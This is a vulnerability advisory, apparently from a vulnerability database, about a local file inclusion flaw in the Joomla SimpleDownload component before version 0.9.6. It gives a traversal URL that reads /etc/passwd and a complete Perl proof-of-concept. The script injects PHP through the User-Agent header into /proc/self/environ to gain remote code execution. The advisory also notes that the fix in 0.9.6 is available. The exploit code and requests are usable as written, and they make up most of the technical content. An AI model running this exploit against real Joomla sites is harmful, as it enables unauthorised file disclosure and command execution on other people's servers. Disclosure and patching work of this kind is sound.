Lucene search
K

Joomla component SimpleDownload Local File Inclusion

🗓️ 03 Jun 2010 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 21 Views

Vulnerability in Joomla SimpleDownload component allows Local File Inclusion and Remote Code Executio

Code

                                                A vulnerability has been found in the downloader component for Joomla. It
can be exploited in various ways - from sensitive information disclosure to
remote code execution.

Input passed to controller is not properly sanitized, allowing attacker to
inject php code
via Local File Inclusion combined with Directory Traversal
(/proc/self/environ method) and Null Byte Injection, leading to Remote Code
Execution.

--[Vendor]--
http://joomla.joelrowley.com/

--[Vulnerable Version]--
com_simpledownload <0.9.6

--[Impact]--
Local File Inclusion
Directory Traversal
Remote Code Execution

--[LFI Exploit]--
/index2.php?option=com_simpledownload&controller=[LFI]%00

--[LFI PoC]--
/index2.php?option=com_simpledownload&controller=
./../../../../../../../etc/passwd%00

--[RCE PoC]--
#!/usr/bin/perl -w
# quick'n'dirty PoC for RCE
# com_simpledownload <0.9.6
# by <sm0q>
# usage eg.:
# $./expl.pl -h localhost \
# -c "<?php passthru('uname -a > uname.txt'); ?>"
use LWP::UserAgent;
use Getopt::Std;
my %o=();
getopts("c:h:",\%o);
die "Usage: $0 -h target_host -c command\n" if ! (defined $o{h} && defined
$o{c});
$o{h} =~ s/(http:\/\/)?(.*)/http:\/\/$2/;
my
$url="/index2.php?option=com_simpledownload&controller=../../../../../..
/../../../../../../../../../../../proc/self/environ%00";
my $lwp = LWP::UserAgent->new;
print $lwp->get($o{h}.$url, 'User-Agent'=>"$o{c}")->decoded_content;

--[Solution]--
Thanks to quick response from Joel Rowley
fix released in version 0.9.6 - upgrade
as soon as possible from:
http://extensions.joomla.org/extensions/directory-a-documentation/downlo
ads/10717

--[EOF]--
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation